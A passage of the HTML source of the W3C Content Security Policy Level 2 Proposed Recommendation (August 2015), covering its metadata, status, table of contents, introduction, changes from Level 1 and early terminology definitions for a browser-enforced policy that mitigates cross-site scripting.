0;\n        background-color: #FFF;\n      }\n\n      tr.section {\n        border-top: 1px solid #999;\n        vertical-align: top;\n      }\n    </style>\n  \n\n    \n </head>\n \n\n <body class=\"h-entry\">\n\n  <div class=\"head\">\n  \n   <p data-fill-with=\"logo\"><a class=\"logo\" href=\"http://www.w3.org/\">\n    <img alt=\"W3C\" height=\"48\" src=\"https://www.w3.org/Icons/w3c_home\" width=\"72\">\n</a>\n</p>\n  \n   <h1 class=\"p-name no-ref\" id=\"title\">Content Security Policy Level 2</h1>\n  \n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C Proposed Recommendation,\n    <time class=\"dt-updated\" datetime=\"2015-08-21\">21 August 2015</time></span></h2>\n  \n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"http://www.w3.org/TR/2015/PR-CSP2-2-20150821/\">http://www.w3.org/TR/2015/PR-CSP2-2-20150821/</a>\n     <dt>Latest version:\n     <dd><a href=\"http://www.w3.org/TR/CSP2/\">http://www.w3.org/TR/CSP2/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec/specs/CSP2/\">https://w3c.github.io/webappsec/specs/CSP2/</a>\n     <dt>Previous Versions:\n     <dd><a href=\"http://www.w3.org/TR/2014/WD-CSP2-20140703/\" rel=\"previous\">http://www.w3.org/TR/2014/WD-CSP2-20140703/</a>\n     <dd><a href=\"http://www.w3.org/TR/2014/WD-CSP11-20140211/\" rel=\"previous\">http://www.w3.org/TR/2014/WD-CSP11-20140211/</a>\n     <dd><a href=\"http://www.w3.org/TR/2012/CR-CSP-20121115/\" rel=\"previous\">http://www.w3.org/TR/2012/CR-CSP-20121115/</a>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5BCSP2%5D%20YOUR%20TOPIC%20HERE\">public-webappsec@w3.org</a> with subject line “<kbd>[CSP2] <var>… message topic …</var></kbd>” (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt>Issue Tracking:\n     <dd><a href=\"https://github.com/w3c/webappsec/issues/\">GitHub</a>\n     <dt class=\"editor\">Editors:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"39502\"><a class=\"p-name fn u-email email\" href=\"mailto:w3c@adambarth.com\">Adam Barth</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"41156\"><a class=\"p-name fn u-email email\" href=\"mailto:dveditz@mozilla.com\">Dan Veditz</a> (<span class=\"p-org org\">Mozilla Corporation</span>)\n     <dt>Former Editors:\n     <dd>\n      <dd class=\"editor p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=\"mailto:brandon@hackmill.com\">Brandon Sterne</a> (<span class=\"p-org org\">formerly of Mozilla Corporation</span>)\n    </dl>\n   </div>\n  \n   <div data-fill-with=\"warning\"></div>\n  \n   <p class=\"copyright\" data-fill-with=\"copyright\"><a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> © 2015 <a href=\"http://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup> (<a href=\"http://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>, <a href=\"http://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>, <a href=\"http://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>). W3C <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>, <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and <a href=\"http://www.w3.org/Consortium/Legal/copyright-documents\">document use</a> rules apply.\n</p>\n  \n   <hr title=\"Separator for header\">\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <p>This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.</p>\n\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n\n  <div data-fill-with=\"status\">\n   <p>\n  <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"http://www.w3.org/TR/\">W3C technical reports\n  index at http://www.w3.org/TR/.</a></em>\n\n</p>\n   <p>\n  This document was published by the\n  <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>\n  as a Proposed Recommendation. This document is intended to become a W3C Recommendation.\n  The W3C Membership and other interested parties are invited to review the document and\n  send comments to <a href=\"mailto:public-webappsec@w3.org?Subject=%5BCSP2%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a>\n  (<a href=\"mailto:public-webappsec-request@w3.org?subject=subscribe\">subscribe</a>,\n  <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archives</a>) through\n  <time class=\"status-deadline\" datetime=\"2015-10-21\">21 October 2015</time>.\n  Advisory Committee Representatives should consult their\n  <a href=\"https://www.w3.org/2002/09/wbs/myQuestionnaires\">WBS questionnaires</a>.\n\n</p>\n   <p>\n  Publication as a Proposed Recommendation does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress.\n\n</p>\n   <p>\n\tThis document was produced by a group operating under\n\tthe <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"http://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a>\n\tmade in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a>\n\tmust disclose the information in accordance with <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>.\n\n</p>\n   <p>\n  This document is governed by the <a href=\"http://www.w3.org/2014/Process-20140801/\" id=\"w3c_process_revision\">1 August 2014 W3C Process Document</a>.\n\n</p></div>\n\n  <div data-fill-with=\"at-risk\"></div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"contents\"><span class=\"content\">Table of Contents</span></h2>\n\n  <div data-fill-with=\"table-of-contents\" role=\"navigation\">\n   <ul class=\"toc\" role=\"directory\">\n    <li><a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#changes-from-level-1\"><span class=\"secno\">1.1</span> <span class=\"content\">Changes from Level 1</span></a>\n     </ul>\n    <li><a href=\"#key-concepts\"><span class=\"secno\">2</span> <span class=\"content\">Key Concepts and Terminology</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#terms-defined-here\"><span class=\"secno\">2.1</span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#terms-defined-by-reference\"><span class=\"secno\">2.2</span> <span class=\"content\">Terms defined by reference</span></a>\n      <li><a href=\"#html-concepts\"><span class=\"secno\">2.3</span> <span class=\"content\">Relevant Concepts from HTML</span></a>\n      <li><a href=\"#grammar\"><span class=\"secno\">2.4</span> <span class=\"content\">Grammatical Concepts</span></a>\n     </ul>\n    <li><a href=\"#policy-delivery\"><span class=\"secno\">3</span> <span class=\"content\">Policy Delivery</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#content-security-policy-header-field\"><span class=\"secno\">3.1</span> <span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span></a>\n      <li><a href=\"#content-security-policy-report-only-header-field\"><span class=\"secno\">3.2</span> <span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span></a>\n      <li><a href=\"#delivery-html-meta-element\"><span class=\"secno\">3.3</span> <span class=\"content\">\n      HTML <code><span>meta</span></code> Element\n    </span></a>\n      <li><a href=\"#enforcing-multiple-policies\"><span class=\"secno\">3.4</span> <span class=\"content\">Enforcing multiple policies.</span></a>\n      <li><a href=\"#which-policy-applies\"><span class=\"secno\">3.5</span> <span class=\"content\">Policy applicability</span></a>\n     </ul>\n    <li><a href=\"#syntax-and-algorithms\"><span class=\"secno\">4</span> <span class=\"content\">Syntax and Algorithms</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#policy-syntax\"><span class=\"secno\">4.1</span> <span class=\"content\">Policy Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#policy-parsing\"><span class=\"secno\">4.1.1</span> <span class=\"content\">Parsing Policies</span></a>\n       </ul>\n      <li><a href=\"#source-list-syntax\"><span class=\"secno\">4.2</span> <span class=\"content\">Source List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#source-list-parsing\"><span class=\"secno\">4.2.1</span> <span class=\"content\">Parsing Source Lists</span></a>\n        <li><a href=\"#match-source-expression\"><span class=\"secno\">4.2.2</span> <span class=\"content\">Matching Source Expressions</span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#source-list-guid-matching\"><span class=\"secno\">4.2.2.1</span> <span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span></a>\n          <li><a href=\"#source-list-path-patching\"><span class=\"secno\">4.2.2.2</span> <span class=\"content\">Path Matching</span></a>\n          <li><a href=\"#source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3</span> <span class=\"content\">Paths and Redirects</span></a>\n         </ul>\n        <li><a href=\"#script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3</span> <span class=\"content\">\n        The <code>nonce</code> attribute\n      </span></a>\n        <li><a href=\"#source-list-valid-nonces\"><span class=\"secno\">4.2.4</span> <span class=\"content\">Valid Nonces</span></a>\n        <li><a href=\"#source-list-valid-hashes\"><span class=\"secno\">4.2.5</span> <span class=\"content\">Valid Hashes</span></a>\n       </ul>\n      <li><a href=\"#media-type-list-syntax\"><span class=\"secno\">4.3</span> <span class=\"content\">Media Type List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#media-type-list-parsing\"><span class=\"secno\">4.3.1</span> <span class=\"content\">Parsing</span></a>\n        <li><a href=\"#media-type-list-matching\"><span class=\"secno\">4.3.2</span> <span class=\"content\">Matching</span></a>\n       </ul>\n      <li><a href=\"#violation-reports\"><span class=\"secno\">4.4</span> <span class=\"content\">Reporting</span></a>\n     </ul>\n    <li><a href=\"#processing-model\"><span class=\"secno\">5</span> <span class=\"content\">Processing Model</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#processing-model-workers\"><span class=\"secno\">5.1</span> <span class=\"content\">Workers</span></a>\n      <li><a href=\"#processing-model-iframe-srcdoc\"><span class=\"secno\">5.2</span> <span class=\"content\"><code>srcdoc</code> IFrames</span></a>\n     </ul>\n    <li><a href=\"#script-interfaces\"><span class=\"secno\">6</span> <span class=\"content\">Script Interfaces</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#securitypolicyviolationevent-interface\"><span class=\"secno\">6.1</span> <span class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span></a>\n      <li><a href=\"#securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2</span> <span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span></a>\n      <li><a href=\"#firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3</span> <span class=\"content\">Firing Violation Events</span></a>\n     </ul>\n    <li><a href=\"#directives\"><span class=\"secno\">7</span> <span class=\"content\">Directives</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#directive-base-uri\"><span class=\"secno\">7.1</span> <span class=\"content\"><code>base-uri</code></span></a>\n      <li><a href=\"#directive-child-src\"><span class=\"secno\">7.2</span> <span class=\"content\"><code>child-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#directive-child-src-nested\"><span class=\"secno\">7.2.1</span> <span class=\"content\">Nested Browsing Contexts</span></a>\n        <li><a href=\"#directive-child-src-workers\"><span class=\"secno\">7.2.2</span> <span class=\"content\">Workers</span></a>\n       </ul>\n      <li><a href=\"#directive-connect-src\"><span class=\"secno\">7.3</span> <span class=\"content\"><code>connect-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#connect-src-usage\"><span class=\"secno\">7.3.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-default-src\"><span class=\"secno\">7.4</span> <span class=\"content\"><code>default-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#default-src-usage\"><span class=\"secno\">7.4.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-font-src\"><span class=\"secno\">7.5</span> <span class=\"content\"><code>font-src</code></span></a>\n      <li><a href=\"#directive-form-action\"><span class=\"secno\">7.6</span> <span class=\"content\"><code>form-action</code></span></a>\n      <li><a href=\"#directive-frame-ancestors\"><span class=\"secno\">7.7</span> <span class=\"content\"><code>frame-ancestors</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1</span> <span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span></a>\n        <li><a href=\"#frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2</span> <span class=\"content\">Multiple Host Source Values</span></a>\n       </ul>\n      <li><a href=\"#directive-frame-src\"><span class=\"secno\">7.8</span> <span class=\"content\"><code>frame-src</code></span></a>\n      <li><a href=\"#directive-img-src\"><span class=\"secno\">7.9</span> <span class=\"content\"><code>img-src</code></span></a>\n      <li><a href=\"#directive-media-src\"><span class=\"secno\">7.10</span> <span class=\"content\"><code>media-src</code></span></a>\n      <li><a href=\"#directive-object-src\"><span class=\"secno\">7.11</span> <span class=\"content\"><code>object-src</code></span></a>\n      <li><a href=\"#directive-plugin-types\"><span class=\"secno\">7.12</span> <span class=\"content\"><code>plugin-types</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#plugin-types-usage\"><span class=\"secno\">7.12.1</span> <span class=\"content\">Usage</span></a>\n        <li><a href=\"#plugin-types-predeclaration\"><span class=\"secno\">7.12.2</span> <span class=\"content\">\n        Predeclaration of expected media types\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-report-uri\"><span class=\"secno\">7.13</span> <span class=\"content\"><code>report-uri</code></span></a>\n      <li><a href=\"#directive-sandbox\"><span class=\"secno\">7.14</span> <span class=\"content\"><code>sandbox</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#sandboxing-and-workers\"><span class=\"secno\">7.14.1</span> <span class=\"content\">Sandboxing and Workers</span></a>\n        <li><a href=\"#sandbox-usage\"><span class=\"secno\">7.14.2</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-script-src\"><span class=\"secno\">7.15</span> <span class=\"content\"><code>script-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#script-src-nonce-usage\"><span class=\"secno\">7.15.1</span> <span class=\"content\">\n        Nonce usage for <code><span>script</span></code> elements\n      </span></a>\n        <li><a href=\"#script-src-hash-usage\"><span class=\"secno\">7.15.2</span> <span class=\"content\">\n        Hash usage for <code><span>script</span></code> elements\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-style-src\"><span class=\"secno\">7.16</span> <span class=\"content\"><code>style-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#style-src-nonce-usage\"><span class=\"secno\">7.16.1</span> <span class=\"content\">\n        Nonce usage for <code><span>style</span></code> elements\n      </span></a>\n        <li><a href=\"#style-src-hash-usage\"><span class=\"secno\">7.16.2</span> <span class=\"content\">\n        Hash usage for <code><span>style</span></code> elements\n      </span></a>\n       </ul>\n     </ul>\n    <li><a href=\"#examples\"><span class=\"secno\">8</span> <span class=\"content\">Examples</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#example-policies\"><span class=\"secno\">8.1</span> <span class=\"content\">Sample Policy Definitions</span></a>\n      <li><a href=\"#example-violation-report\"><span class=\"secno\">8.2</span> <span class=\"content\">Sample Violation Report</span></a>\n     </ul>\n    <li><a href=\"#security-considerations\"><span class=\"secno\">9</span> <span class=\"content\">Security Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#security-css-parsing\"><span class=\"secno\">9.1</span> <span class=\"content\">Cascading Style Sheet (CSS) Parsing</span></a>\n      <li><a href=\"#security-redirects\"><span class=\"secno\">9.2</span> <span class=\"content\">Redirect Information Leakage</span></a>\n     </ul>\n    <li><a href=\"#implementation-considerations\"><span class=\"secno\">10</span> <span class=\"content\">Implementation Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#complications\"><span class=\"secno\">10.1</span> <span class=\"content\">Processing Complications</span></a>\n     </ul>\n    <li><a href=\"#iana-considerations\"><span class=\"secno\">11</span> <span class=\"content\">IANA Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#iana-content-security-policy\"><span class=\"secno\">11.1</span> <span class=\"content\">Content-Security-Policy</span></a>\n      <li><a href=\"#iana-content-security-policy-report-only\"><span class=\"secno\">11.2</span> <span class=\"content\">Content-Security-Policy-Report-Only</span></a>\n     </ul>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">12</span> <span class=\"content\">Acknowledgements</span></a>\n    <li><a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n      <li><a href=\"#conformance-classes\"><span class=\"secno\"></span> <span class=\"content\">Conformance Classes</span></a>\n     </ul>\n    <li><a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#index-defined-here\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#index-defined-elsewhere\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by reference</span></a>\n     </ul>\n    <li><a href=\"#references\"><span class=\"secno\"></span> <span class=\"content\">References</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#normative\"><span class=\"secno\"></span> <span class=\"content\">Normative References</span></a>\n      <li><a href=\"#informative\"><span class=\"secno\"></span> <span class=\"content\">Informative References</span></a>\n     </ul>\n    <li><a href=\"#idl-index\"><span class=\"secno\"></span> <span class=\"content\">IDL Index</span></a>\n   </ul></div>\n\n  <main>\n\n\n\n\n\n\n\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"1\" id=\"intro\"><span class=\"secno\">1. </span><span class=\"content\">Introduction</span><a class=\"self-link\" href=\"#intro\"></a></h2>\n\n\n    <p><em>This section is not normative.</em></p>\n\n\n    <p>This document defines Content Security Policy, a mechanism web applications\n  can use to mitigate a broad class of content injection vulnerabilities, such\n  as cross-site scripting (XSS). Content Security Policy is a declarative policy\n  that lets the authors (or server administrators) of a web application inform\n  the client about the sources from which the application expects to load\n  resources.</p>\n\n\n    <p>To mitigate XSS attacks, for example, a web application can declare that it\n  only expects to load script from specific, trusted sources. This declaration\n  allows the client to detect and block malicious scripts injected into the\n  application by an attacker.</p>\n\n\n    <p>Content Security Policy (CSP) is not intended as a first line of defense\n  against content injection vulnerabilities. Instead, CSP is best used as\n  defense-in-depth, to reduce the harm caused by content injection attacks. As\n  a first line of defense against content injection, server operators should\n  validate their input and encode their output.</p>\n\n\n    <p>There is often a non-trivial amount of work required to apply CSP to an\n  existing web application. To reap the greatest benefit, authors will need to\n  move all inline script and style out-of-line, for example into external\n  scripts, because the user agent cannot determine whether an inline script\n  was injected by an attacker.</p>\n\n\n    <p>To take advantage of CSP, a web application opts into using CSP by supplying a\n  <code>Content-Security-Policy</code> HTTP header. Such policies apply to the\n  current resource representation only. To supply a policy for an entire site,\n  the server needs to supply a policy with each resource representation.</p>\n\n  \n    <h3 class=\"heading settled\" data-level=\"1.1\" id=\"changes-from-level-1\"><span class=\"secno\">1.1. </span><span class=\"content\">Changes from Level 1</span><a class=\"self-link\" href=\"#changes-from-level-1\"></a></h3>\n\n\n    <p>This document describes an evolution of the\n  <a href=\"http://www.w3.org/TR/CSP/\">Content Security Policy specification</a>.\n  Level 2 makes two breaking changes from Level 1, and adds support for a number\n  of new directives and capabilities which are summarized below:</p>\n\n  \n    <ol>\n    \n     <li>\n      The following changes are backwards incompatible with the majority of\n      user agent’s implementations of CSP 1:\n\n      \n      <ol>\n        \n       <li>\n          The path component of a source expression is now ignored if the\n          resource being loaded is the result of a redirect, as described in\n          <a href=\"#source-list-paths-and-redirects\">§4.2.2.3 Paths and Redirects</a>.\n\n\n        <p class=\"note\" role=\"note\">Note: Paths are technically new in CSP2, but they were already\n          implemented in many user agents before this revision of CSP was\n          completed, so noting the change here seems reasonable.</p>\n        \n        \n       \n        \n       <li>\n          A <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>’s ability to load Workers is now controlled\n          via <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> rather than\n          <a data-link-type=\"dfn\" href=\"#script_src\"><code>script-src</code></a>.\n        \n       \n        \n       <li>\n          Workers now have their own policy, separate from the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a> which loaded them. This is described in\n          <a href=\"#processing-model-workers\">§5.1 Workers</a>.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      The following directives are brand new in this revision:\n\n      \n      <ol>\n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#base_uri\"><code>base-uri</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to specify the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#document-base-url\">document base\n          URL</a>.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#child_src\"><code>child-src</code></a> deprecates and replaces\n          <a data-link-type=\"dfn\" href=\"#frame_src\"><code>frame-src</code></a>, controlling the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to embed frames, and to load Workers.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#form_action\"><code>form-action</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to submit forms.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#frame_ancestors\"><code>frame-ancestors</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability be embedded in other documents. It is meant\n          to supplant the <code>X-Frame-Options</code> HTTP request header.\n        \n       \n        \n       <li>\n          <a data-link-type=\"dfn\" href=\"#plugin_types\"><code>plugin-types</code></a> controls the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected\n          resource</a>’s ability to load specific types of plugins.\n        \n       \n      \n      </ol>\n      \n    \n     \n    \n     <li>\n      Individual inline scripts and stylesheets may be whitelisted via nonces\n      (as described in <a href=\"#source-list-valid-nonces\">§4.2.4 Valid Nonces</a>) and hashes (as described\n      in <a href=\"#source-list-valid-hashes\">§4.2.5 Valid Hashes</a>).\n    \n     \n    \n     <li>\n      A <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> is fired upon violations, as described\n      in <a href=\"#firing-securitypolicyviolationevent-events\">§6.3 Firing Violation Events</a>.\n    \n     \n    \n     <li>\n      A number of new fields were added to violation reports (both those POSTED\n      via <a data-link-type=\"dfn\" href=\"#report_uri\"><code>report-uri</code></a>, and those handed to the DOM via\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a></code> events. These include\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a></code>,\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a></code>, and\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a></code>.\n    \n     \n    \n     <li>\n      Certain flags present in the <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive now\n      affect Worker creation, as described in <a href=\"#sandboxing-and-workers\">§7.14.1 Sandboxing and Workers</a>.\n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"2\" id=\"key-concepts\"><span class=\"secno\">2. </span><span class=\"content\">Key Concepts and Terminology</span><a class=\"self-link\" href=\"#key-concepts\"></a></h2>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.1\" id=\"terms-defined-here\"><span class=\"secno\">2.1. </span><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#terms-defined-here\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"policy\" id=\"security-policy\">security policy<a class=\"self-link\" href=\"#security-policy\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive\" id=\"security-policy-directive\">security policy directive<a class=\"self-link\" href=\"#security-policy-directive\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive name\" id=\"security-policy-directive-name\">security policy directive name<a class=\"self-link\" href=\"#security-policy-directive-name\"></a></dfn>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" data-local-lt=\"directive value\" id=\"security-policy-directive-value\">security policy directive value<a class=\"self-link\" href=\"#security-policy-directive-value\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <strong>security policy</strong> refers to both a set of security\n      preferences for restrictions within which content can operate, and\n      to a fragment of text that codifies or transmits these preferences.\n      For example, the following string is a policy which restricts script\n      and object content:\n\n      \n      <div class=\"example\" id=\"example-f8c8229d\"><a class=\"self-link\" href=\"#example-f8c8229d\"></a>\n        <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> 'none'</code>\n      </div>\n      \n\n\n      <p>Security policies contain a set of <strong>security policy\n      directives</strong> (<code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> and\n      <code><a data-link-type=\"dfn\" href=\"#object_src\">object-src</a></code> in the example above), each responsible\n      for declaring the restrictions for a particular resource type, or\n      manipulating a specific aspect of the policy’s restrictions. The list\n      of directives defined by this specification can be found in\n      <a href=\"#directives\">§7 Directives</a>.</p>\n      \n\n\n      <p>Each directives has a <strong>name</strong> and a <strong>value</strong>;\n      a detailed grammar can be found in <a href=\"#syntax-and-algorithms\">§4 Syntax and Algorithms</a>.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-export=\"\" id=\"protected-resource\">protected resource<a class=\"self-link\" href=\"#protected-resource\"></a></dfn>\n    \n     \n    \n     <dd>\n      A <a data-link-type=\"dfn\" href=\"#security-policy\">security policy</a> is applied by a user agent to a specific\n      <a data-link-type=\"dfn\" href=\"#resource-representation\">resource representation</a>, known as the <strong>protected\n      resource</strong>. See <a href=\"#policy-delivery\">§3 Policy Delivery</a> for details regarding\n      the mechanisms by which policies may be applied to a protected\n      resource.\n    \n     \n  \n    </dl>\n\n  \n    <h3 class=\"heading settled\" data-level=\"2.2\" id=\"terms-defined-by-reference\"><span class=\"secno\">2.2. </span><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#terms-defined-by-reference\"></a></h3>\n  \n    <dl>\n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"globally-unique-identifier\">globally unique identifier<a class=\"self-link\" href=\"#globally-unique-identifier\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc6454#section-2.3\">Section 2.3 of\n      the Origin specification</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc6454\">[RFC6454]</a>\n\n\n      <p class=\"note\" role=\"note\">NOTE: URLs which do not use hierarchical elements as naming authorities\n      (<code>data:</code>, for instance) have <a data-link-type=\"dfn\" href=\"#origin\">origins</a> which are globally\n      unique identifiers.</p>\n      \n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"http-200-response\">HTTP 200 response<a class=\"self-link\" href=\"#http-200-response\"></a></dfn>\n    \n     \n    \n     <dd>\n      Defined in\n      <a href=\"https://tools.ietf.org/html/rfc7231#section-6.3.1\">Section\n      6.3.1 of HTTP/1.1 -- Semantics and Content</a>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7231\">[RFC7231]</a>\n    \n     \n    \n     <dt>\n      <dfn data-dfn-type=\"dfn\" 